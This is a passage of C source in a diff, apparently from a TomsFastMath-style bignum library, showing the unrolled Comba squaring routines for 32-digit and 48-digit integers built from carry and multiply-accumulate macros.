COMBA_STORE(b[25]);
/* output 26 */
CARRY_FORWARD;
SQRADDSC(a[0], a[26]); SQRADDAC(a[1], a[25]); SQRADDAC(a[2], a[24]); SQRADDAC(a[3], a[23]); SQRADDAC(a[4], a[22]); SQRADDAC(a[5], a[21]); SQRADDAC(a[6], a[20]); SQRADDAC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]);
COMBA_STORE(b[26]);
/* output 27 */
CARRY_FORWARD;
SQRADDSC(a[0], a[27]); SQRADDAC(a[1], a[26]); SQRADDAC(a[2], a[25]); SQRADDAC(a[3], a[24]); SQRADDAC(a[4], a[23]); SQRADDAC(a[5], a[22]); SQRADDAC(a[6], a[21]); SQRADDAC(a[7], a[20]); SQRADDAC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB;
COMBA_STORE(b[27]);
/* output 28 */
CARRY_FORWARD;
SQRADDSC(a[0], a[28]); SQRADDAC(a[1], a[27]); SQRADDAC(a[2], a[26]); SQRADDAC(a[3], a[25]); SQRADDAC(a[4], a[24]); SQRADDAC(a[5], a[23]); SQRADDAC(a[6], a[22]); SQRADDAC(a[7], a[21]); SQRADDAC(a[8], a[20]); SQRADDAC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]);
COMBA_STORE(b[28]);
/* output 29 */
CARRY_FORWARD;
SQRADDSC(a[0], a[29]); SQRADDAC(a[1], a[28]); SQRADDAC(a[2], a[27]); SQRADDAC(a[3], a[26]); SQRADDAC(a[4], a[25]); SQRADDAC(a[5], a[24]); SQRADDAC(a[6], a[23]); SQRADDAC(a[7], a[22]); SQRADDAC(a[8], a[21]); SQRADDAC(a[9], a[20]); SQRADDAC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB;
COMBA_STORE(b[29]);
/* output 30 */
CARRY_FORWARD;
SQRADDSC(a[0], a[30]); SQRADDAC(a[1], a[29]); SQRADDAC(a[2], a[28]); SQRADDAC(a[3], a[27]); SQRADDAC(a[4], a[26]); SQRADDAC(a[5], a[25]); SQRADDAC(a[6], a[24]); SQRADDAC(a[7], a[23]); SQRADDAC(a[8], a[22]); SQRADDAC(a[9], a[21]); SQRADDAC(a[10], a[20]); SQRADDAC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]);
COMBA_STORE(b[30]);
/* output 31 */
CARRY_FORWARD;
SQRADDSC(a[0], a[31]); SQRADDAC(a[1], a[30]); SQRADDAC(a[2], a[29]); SQRADDAC(a[3], a[28]); SQRADDAC(a[4], a[27]); SQRADDAC(a[5], a[26]); SQRADDAC(a[6], a[25]); SQRADDAC(a[7], a[24]); SQRADDAC(a[8], a[23]); SQRADDAC(a[9], a[22]); SQRADDAC(a[10], a[21]); SQRADDAC(a[11], a[20]); SQRADDAC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB;
COMBA_STORE(b[31]);
/* output 32 */
CARRY_FORWARD;
SQRADDSC(a[1], a[31]); SQRADDAC(a[2], a[30]); SQRADDAC(a[3], a[29]); SQRADDAC(a[4], a[28]); SQRADDAC(a[5], a[27]); SQRADDAC(a[6], a[26]); SQRADDAC(a[7], a[25]); SQRADDAC(a[8], a[24]); SQRADDAC(a[9], a[23]); SQRADDAC(a[10], a[22]); SQRADDAC(a[11], a[21]); SQRADDAC(a[12], a[20]); SQRADDAC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]);
COMBA_STORE(b[32]);
/* output 33 */
CARRY_FORWARD;
SQRADDSC(a[2], a[31]); SQRADDAC(a[3], a[30]); SQRADDAC(a[4], a[29]); SQRADDAC(a[5], a[28]); SQRADDAC(a[6], a[27]); SQRADDAC(a[7], a[26]); SQRADDAC(a[8], a[25]); SQRADDAC(a[9], a[24]); SQRADDAC(a[10], a[23]); SQRADDAC(a[11], a[22]); SQRADDAC(a[12], a[21]); SQRADDAC(a[13], a[20]); SQRADDAC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB;
COMBA_STORE(b[33]);
/* output 34 */
CARRY_FORWARD;
SQRADDSC(a[3], a[31]); SQRADDAC(a[4], a[30]); SQRADDAC(a[5], a[29]); SQRADDAC(a[6], a[28]); SQRADDAC(a[7], a[27]); SQRADDAC(a[8], a[26]); SQRADDAC(a[9], a[25]); SQRADDAC(a[10], a[24]); SQRADDAC(a[11], a[23]); SQRADDAC(a[12], a[22]); SQRADDAC(a[13], a[21]); SQRADDAC(a[14], a[20]); SQRADDAC(a[15], a[19]); SQRADDAC(a[16], a[18]); SQRADDDB; SQRADD(a[17], a[17]);
COMBA_STORE(b[34]);
/* output 35 */
CARRY_FORWARD;
SQRADDSC(a[4], a[31]); SQRADDAC(a[5], a[30]); SQRADDAC(a[6], a[29]); SQRADDAC(a[7], a[28]); SQRADDAC(a[8], a[27]); SQRADDAC(a[9], a[26]); SQRADDAC(a[10], a[25]); SQRADDAC(a[11], a[24]); SQRADDAC(a[12], a[23]); SQRADDAC(a[13], a[22]); SQRADDAC(a[14], a[21]); SQRADDAC(a[15], a[20]); SQRADDAC(a[16], a[19]); SQRADDAC(a[17], a[18]); SQRADDDB;
COMBA_STORE(b[35]);
/* output 36 */
CARRY_FORWARD;
SQRADDSC(a[5], a[31]); SQRADDAC(a[6], a[30]); SQRADDAC(a[7], a[29]); SQRADDAC(a[8], a[28]); SQRADDAC(a[9], a[27]); SQRADDAC(a[10], a[26]); SQRADDAC(a[11], a[25]); SQRADDAC(a[12], a[24]); SQRADDAC(a[13], a[23]); SQRADDAC(a[14], a[22]); SQRADDAC(a[15], a[21]); SQRADDAC(a[16], a[20]); SQRADDAC(a[17], a[19]); SQRADDDB; SQRADD(a[18], a[18]);
COMBA_STORE(b[36]);
/* output 37 */
CARRY_FORWARD;
SQRADDSC(a[6], a[31]); SQRADDAC(a[7], a[30]); SQRADDAC(a[8], a[29]); SQRADDAC(a[9], a[28]); SQRADDAC(a[10], a[27]); SQRADDAC(a[11], a[26]); SQRADDAC(a[12], a[25]); SQRADDAC(a[13], a[24]); SQRADDAC(a[14], a[23]); SQRADDAC(a[15], a[22]); SQRADDAC(a[16], a[21]); SQRADDAC(a[17], a[20]); SQRADDAC(a[18], a[19]); SQRADDDB;
COMBA_STORE(b[37]);
/* output 38 */
CARRY_FORWARD;
SQRADDSC(a[7], a[31]); SQRADDAC(a[8], a[30]); SQRADDAC(a[9], a[29]); SQRADDAC(a[10], a[28]); SQRADDAC(a[11], a[27]); SQRADDAC(a[12], a[26]); SQRADDAC(a[13], a[25]); SQRADDAC(a[14], a[24]); SQRADDAC(a[15], a[23]); SQRADDAC(a[16], a[22]); SQRADDAC(a[17], a[21]); SQRADDAC(a[18], a[20]); SQRADDDB; SQRADD(a[19], a[19]);
COMBA_STORE(b[38]);
/* output 39 */
CARRY_FORWARD;
SQRADDSC(a[8], a[31]); SQRADDAC(a[9], a[30]); SQRADDAC(a[10], a[29]); SQRADDAC(a[11], a[28]); SQRADDAC(a[12], a[27]); SQRADDAC(a[13], a[26]); SQRADDAC(a[14], a[25]); SQRADDAC(a[15], a[24]); SQRADDAC(a[16], a[23]); SQRADDAC(a[17], a[22]); SQRADDAC(a[18], a[21]); SQRADDAC(a[19], a[20]); SQRADDDB;
COMBA_STORE(b[39]);
/* output 40 */
CARRY_FORWARD;
SQRADDSC(a[9], a[31]); SQRADDAC(a[10], a[30]); SQRADDAC(a[11], a[29]); SQRADDAC(a[12], a[28]); SQRADDAC(a[13], a[27]); SQRADDAC(a[14], a[26]); SQRADDAC(a[15], a[25]); SQRADDAC(a[16], a[24]); SQRADDAC(a[17], a[23]); SQRADDAC(a[18], a[22]); SQRADDAC(a[19], a[21]); SQRADDDB; SQRADD(a[20], a[20]);
COMBA_STORE(b[40]);
/* output 41 */
CARRY_FORWARD;
SQRADDSC(a[10], a[31]); SQRADDAC(a[11], a[30]); SQRADDAC(a[12], a[29]); SQRADDAC(a[13], a[28]); SQRADDAC(a[14], a[27]); SQRADDAC(a[15], a[26]); SQRADDAC(a[16], a[25]); SQRADDAC(a[17], a[24]); SQRADDAC(a[18], a[23]); SQRADDAC(a[19], a[22]); SQRADDAC(a[20], a[21]); SQRADDDB;
COMBA_STORE(b[41]);
/* output 42 */
CARRY_FORWARD;
SQRADDSC(a[11], a[31]); SQRADDAC(a[12], a[30]); SQRADDAC(a[13], a[29]); SQRADDAC(a[14], a[28]); SQRADDAC(a[15], a[27]); SQRADDAC(a[16], a[26]); SQRADDAC(a[17], a[25]); SQRADDAC(a[18], a[24]); SQRADDAC(a[19], a[23]); SQRADDAC(a[20], a[22]); SQRADDDB; SQRADD(a[21], a[21]);
COMBA_STORE(b[42]);
/* output 43 */
CARRY_FORWARD;
SQRADDSC(a[12], a[31]); SQRADDAC(a[13], a[30]); SQRADDAC(a[14], a[29]); SQRADDAC(a[15], a[28]); SQRADDAC(a[16], a[27]); SQRADDAC(a[17], a[26]); SQRADDAC(a[18], a[25]); SQRADDAC(a[19], a[24]); SQRADDAC(a[20], a[23]); SQRADDAC(a[21], a[22]); SQRADDDB;
COMBA_STORE(b[43]);
/* output 44 */
CARRY_FORWARD;
SQRADDSC(a[13], a[31]); SQRADDAC(a[14], a[30]); SQRADDAC(a[15], a[29]); SQRADDAC(a[16], a[28]); SQRADDAC(a[17], a[27]); SQRADDAC(a[18], a[26]); SQRADDAC(a[19], a[25]); SQRADDAC(a[20], a[24]); SQRADDAC(a[21], a[23]); SQRADDDB; SQRADD(a[22], a[22]);
COMBA_STORE(b[44]);
/* output 45 */
CARRY_FORWARD;
SQRADDSC(a[14], a[31]); SQRADDAC(a[15], a[30]); SQRADDAC(a[16], a[29]); SQRADDAC(a[17], a[28]); SQRADDAC(a[18], a[27]); SQRADDAC(a[19], a[26]); SQRADDAC(a[20], a[25]); SQRADDAC(a[21], a[24]); SQRADDAC(a[22], a[23]); SQRADDDB;
COMBA_STORE(b[45]);
/* output 46 */
CARRY_FORWARD;
SQRADDSC(a[15], a[31]); SQRADDAC(a[16], a[30]); SQRADDAC(a[17], a[29]); SQRADDAC(a[18], a[28]); SQRADDAC(a[19], a[27]); SQRADDAC(a[20], a[26]); SQRADDAC(a[21], a[25]); SQRADDAC(a[22], a[24]); SQRADDDB; SQRADD(a[23], a[23]);
COMBA_STORE(b[46]);
/* output 47 */
CARRY_FORWARD;
SQRADDSC(a[16], a[31]); SQRADDAC(a[17], a[30]); SQRADDAC(a[18], a[29]); SQRADDAC(a[19], a[28]); SQRADDAC(a[20], a[27]); SQRADDAC(a[21], a[26]); SQRADDAC(a[22], a[25]); SQRADDAC(a[23], a[24]); SQRADDDB;
COMBA_STORE(b[47]);
/* output 48 */
CARRY_FORWARD;
SQRADDSC(a[17], a[31]); SQRADDAC(a[18], a[30]); SQRADDAC(a[19], a[29]); SQRADDAC(a[20], a[28]); SQRADDAC(a[21], a[27]); SQRADDAC(a[22], a[26]); SQRADDAC(a[23], a[25]); SQRADDDB; SQRADD(a[24], a[24]);
COMBA_STORE(b[48]);
/* output 49 */
CARRY_FORWARD;
SQRADDSC(a[18], a[31]); SQRADDAC(a[19], a[30]); SQRADDAC(a[20], a[29]); SQRADDAC(a[21], a[28]); SQRADDAC(a[22], a[27]); SQRADDAC(a[23], a[26]); SQRADDAC(a[24], a[25]); SQRADDDB;
COMBA_STORE(b[49]);
/* output 50 */
CARRY_FORWARD;
SQRADDSC(a[19], a[31]); SQRADDAC(a[20], a[30]); SQRADDAC(a[21], a[29]); SQRADDAC(a[22], a[28]); SQRADDAC(a[23], a[27]); SQRADDAC(a[24], a[26]); SQRADDDB; SQRADD(a[25], a[25]);
COMBA_STORE(b[50]);
/* output 51 */
CARRY_FORWARD;
SQRADDSC(a[20], a[31]); SQRADDAC(a[21], a[30]); SQRADDAC(a[22], a[29]); SQRADDAC(a[23], a[28]); SQRADDAC(a[24], a[27]); SQRADDAC(a[25], a[26]); SQRADDDB;
COMBA_STORE(b[51]);
/* output 52 */
CARRY_FORWARD;
SQRADDSC(a[21], a[31]); SQRADDAC(a[22], a[30]); SQRADDAC(a[23], a[29]); SQRADDAC(a[24], a[28]); SQRADDAC(a[25], a[27]); SQRADDDB; SQRADD(a[26], a[26]);
COMBA_STORE(b[52]);
/* output 53 */
CARRY_FORWARD;
SQRADDSC(a[22], a[31]); SQRADDAC(a[23], a[30]); SQRADDAC(a[24], a[29]); SQRADDAC(a[25], a[28]); SQRADDAC(a[26], a[27]); SQRADDDB;
COMBA_STORE(b[53]);
/* output 54 */
CARRY_FORWARD;
SQRADDSC(a[23], a[31]); SQRADDAC(a[24], a[30]); SQRADDAC(a[25], a[29]); SQRADDAC(a[26], a[28]); SQRADDDB; SQRADD(a[27], a[27]);
COMBA_STORE(b[54]);
/* output 55 */
CARRY_FORWARD;
SQRADDSC(a[24], a[31]); SQRADDAC(a[25], a[30]); SQRADDAC(a[26], a[29]); SQRADDAC(a[27], a[28]); SQRADDDB;
COMBA_STORE(b[55]);
/* output 56 */
CARRY_FORWARD;
SQRADDSC(a[25], a[31]); SQRADDAC(a[26], a[30]); SQRADDAC(a[27], a[29]); SQRADDDB; SQRADD(a[28], a[28]);
COMBA_STORE(b[56]);
/* output 57 */
CARRY_FORWARD;
SQRADDSC(a[26], a[31]); SQRADDAC(a[27], a[30]); SQRADDAC(a[28], a[29]); SQRADDDB;
COMBA_STORE(b[57]);
/* output 58 */
CARRY_FORWARD;
SQRADD2(a[27], a[31]); SQRADD2(a[28], a[30]); SQRADD(a[29], a[29]);
COMBA_STORE(b[58]);
/* output 59 */
CARRY_FORWARD;
SQRADD2(a[28], a[31]); SQRADD2(a[29], a[30]);
COMBA_STORE(b[59]);
/* output 60 */
CARRY_FORWARD;
SQRADD2(a[29], a[31]); SQRADD(a[30], a[30]);
COMBA_STORE(b[60]);
/* output 61 */
CARRY_FORWARD;
SQRADD2(a[30], a[31]);
COMBA_STORE(b[61]);
/* output 62 */
CARRY_FORWARD;
SQRADD(a[31], a[31]);
COMBA_STORE(b[62]);
COMBA_STORE2(b[63]);
COMBA_FINI;
B->used = 64;
B->sign = FP_ZPOS;
memcpy(B->dp, b, 64 * sizeof(fp_digit));
fp_clamp(B);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,504 @@
#define TFM_DEFINES
#include "fp_sqr_comba.c"
#if defined(TFM_SQR48) && FP_SIZE >= 96
void fp_sqr_comba48(fp_int *A, fp_int *B)
{
fp_digit *a, b[96], c0, c1, c2, sc0, sc1, sc2;
#ifdef TFM_ISO
fp_word tt;
#endif
a = A->dp;
COMBA_START;
/* clear carries */
CLEAR_CARRY;
/* output 0 */
SQRADD(a[0],a[0]);
COMBA_STORE(b[0]);
/* output 1 */
CARRY_FORWARD;
SQRADD2(a[0], a[1]);
COMBA_STORE(b[1]);
/* output 2 */
CARRY_FORWARD;
SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]);
COMBA_STORE(b[2]);
/* output 3 */
CARRY_FORWARD;
SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]);
COMBA_STORE(b[3]);
/* output 4 */
CARRY_FORWARD;
SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]);
COMBA_STORE(b[4]);
/* output 5 */
CARRY_FORWARD;
SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB;
COMBA_STORE(b[5]);
/* output 6 */
CARRY_FORWARD;
SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]);
COMBA_STORE(b[6]);
/* output 7 */
CARRY_FORWARD;
SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB;
COMBA_STORE(b[7]);
/* output 8 */
CARRY_FORWARD;
SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]);
COMBA_STORE(b[8]);
/* output 9 */
CARRY_FORWARD;
SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB;
COMBA_STORE(b[9]);
/* output 10 */
CARRY_FORWARD;
SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]);
COMBA_STORE(b[10]);
/* output 11 */
CARRY_FORWARD;
SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB;
COMBA_STORE(b[11]);
/* output 12 */
CARRY_FORWARD;
SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]);
COMBA_STORE(b[12]);
/* output 13 */
CARRY_FORWARD;
SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB;
COMBA_STORE(b[13]);
/* output 14 */
CARRY_FORWARD;
SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]);
COMBA_STORE(b[14]);
/* output 15 */
CARRY_FORWARD;
SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB;
COMBA_STORE(b[15]);
/* output 16 */
CARRY_FORWARD;
SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]);
COMBA_STORE(b[16]);
/* output 17 */
CARRY_FORWARD;
SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB;
COMBA_STORE(b[17]);
/* output 18 */
CARRY_FORWARD;
SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]);
COMBA_STORE(b[18]);
/* output 19 */
CARRY_FORWARD;
SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB;
COMBA_STORE(b[19]);
/* output 20 */
CARRY_FORWARD;
SQRADDSC(a[0], a[20]); SQRADDAC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]);
COMBA_STORE(b[20]);
/* output 21 */
CARRY_FORWARD;
SQRADDSC(a[0], a[21]); SQRADDAC(a[1], a[20]); SQRADDAC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB;
COMBA_STORE(b[21]);
/* output 22 */
CARRY_FORWARD;
SQRADDSC(a[0], a[22]); SQRADDAC(a[1], a[21]); SQRADDAC(a[2], a[20]); SQRADDAC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]);
COMBA_STORE(b[22]);
/* output 23 */
CARRY_FORWARD;
SQRADDSC(a[0], a[23]); SQRADDAC(a[1], a[22]); SQRADDAC(a[2], a[21]); SQRADDAC(a[3], a[20]); SQRADDAC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB;
COMBA_STORE(b[23]);
/* output 24 */
CARRY_FORWARD;
SQRADDSC(a[0], a[24]); SQRADDAC(a[1], a[23]); SQRADDAC(a[2], a[22]); SQRADDAC(a[3], a[21]); SQRADDAC(a[4], a[20]); SQRADDAC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]);
COMBA_STORE(b[24]);
/* output 25 */
CARRY_FORWARD;
SQRADDSC(a[0], a[25]); SQRADDAC(a[1], a[24]); SQRADDAC(a[2], a[23]); SQRADDAC(a[3], a[22]); SQRADDAC(a[4], a[21]); SQRADDAC(a[5], a[20]); SQRADDAC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB;
COMBA_STORE(b[25]);
/* output 26 */
CARRY_FORWARD;
SQRADDSC(a[0], a[26]); SQRADDAC(a[1], a[25]); SQRADDAC(a[2], a[24]); SQRADDAC(a[3], a[23]); SQRADDAC(a[4], a[22]); SQRADDAC(a[5], a[21]); SQRADDAC(a[6], a[20]); SQRADDAC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]);
COMBA_STORE(b[26]);
/* output 27 */
CARRY_FORWARD;
SQRADDSC(a[0], a[27]); SQRADDAC(a[1], a[26]); SQRADDAC(a[2], a[25]); SQRADDAC(a[3], a[24]); SQRADDAC(a[4], a[23]); SQRADDAC(a[5], a[22]); SQRADDAC(a[6], a[21]); SQRADDAC(a[7], a[20]); SQRADDAC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB;
COMBA_STORE(b[27]);
/* output 28 */
CARRY_FORWARD;
SQRADDSC(a[0], a[28]); SQRADDAC(a[1], a[27]); SQRADDAC(a[2], a[26]); SQRADDAC(a[3], a[25]); SQRADDAC(a[4], a[24]); SQRADDAC(a[5], a[23]); SQRADDAC(a[6], a[22]); SQRADDAC(a[7], a[21]); SQRADDAC(a[8], a[20]); SQRADDAC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]);
COMBA_STORE(b[28]);
/* output 29 */
CARRY_FORWARD;
SQRADDSC(a[0], a[29]); SQRADDAC(a[1], a[28]); SQRADDAC(a[2], a[27]); SQRADDAC(a[3], a[26]); SQRADDAC(a[4], a[25]); SQRADDAC(a[5], a[24]); SQRADDAC(a[6], a[23]); SQRADDAC(a[7], a[22]); SQRADDAC(a[8], a[21]); SQRADDAC(a[9], a[20]); SQRADDAC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB;
COMBA_STORE(b[29]);
/* output 30 */
CARRY_FORWARD;
SQRADDSC(a[0], a[30]); SQRADDAC(a[1], a[29]); SQRADDAC(a[2], a[28]); SQRADDAC(a[3], a[27]); SQRADDAC(a[4], a[26]); SQRADDAC(a[5], a[25]); SQRADDAC(a[6], a[24]); SQRADDAC(a[7], a[23]); SQRADDAC(a[8], a[22]); SQRADDAC(a[9], a[21]); SQRADDAC(a[10], a[20]); SQRADDAC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]);
COMBA_STORE(b[30]);
/* output 31 */
CARRY_FORWARD;
SQRADDSC(a[0], a[31]); SQRADDAC(a[1], a[30]); SQRADDAC(a[2], a[29]); SQRADDAC(a[3], a[28]); SQRADDAC(a[4], a[27]); SQRADDAC(a[5], a[26]); SQRADDAC(a[6], a[25]); SQRADDAC(a[7], a[24]); SQRADDAC(a[8], a[23]); SQRADDAC(a[9], a[22]); SQRADDAC(a[10], a[21]); SQRADDAC(a[11], a[20]); SQRADDAC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB;
COMBA_STORE(b[31]);
/* output 32 */
CARRY_FORWARD;
SQRADDSC(a[0], a[32]); SQRADDAC(a[1], a[31]); SQRADDAC(a[2], a[30]); SQRADDAC(a[3], a[29]); SQRADDAC(a[4], a[28]); SQRADDAC(a[5], a[27]); SQRADDAC(a[6], a[26]); SQRADDAC(a[7], a[25]); SQRADDAC(a[8], a[24]); SQRADDAC(a[9], a[23]); SQRADDAC(a[10], a[22]); SQRADDAC(a[11], a[21]); SQRADDAC(a[12], a[20]); SQRADDAC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]);
COMBA_STORE(b[32]);
/* output 33 */
CARRY_FORWARD;
SQRADDSC(a[0], a[33]); SQRADDAC(a[1], a[32]); SQRADDAC(a[2], a[31]); SQRADDAC(a[3], a[30]); SQRADDAC(a[4], a[29]); SQRADDAC(a[5], a[28]); SQRADDAC(a[6], a[27]); SQRADDAC(a[7], a[26]); SQRADDAC(a[8], a[25]); SQRADDAC(a[9], a[24]); SQRADDAC(a[10], a[23]); SQRADDAC(a[11], a[22]); SQRADDAC(a[12], a[21]); SQRADDAC(a[13], a[20]); SQRADDAC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB;
COMBA_STORE(b[33]);
/* output 34 */
CARRY_FORWARD;
SQRADDSC(a[0], a[34]); SQRADDAC(a[1], a[33]); SQRADDAC(a[2], a[32]); SQRADDAC(a[3], a[31]); SQRADDAC(a[4], a[30]); SQRADDAC(a[5], a[29]); SQRADDAC(a[6], a[28]); SQRADDAC(a[7], a[27]); SQRADDAC(a[8], a[26]); SQRADDAC(a[9], a[25]); SQRADDAC(a[10], a[24]); SQRADDAC(a[11], a[23]); SQRADDAC(a[12], a[22]); SQRADDAC(a[13], a[21]); SQRADDAC(a[14], a[20]); SQRADDAC(a[15], a[19]); SQRADDAC(a[16], a[18]); SQRADDDB; SQRADD(a[17], a[17]);
COMBA_STORE(b[34]);
/* output 35 */
CARRY_FORWARD;
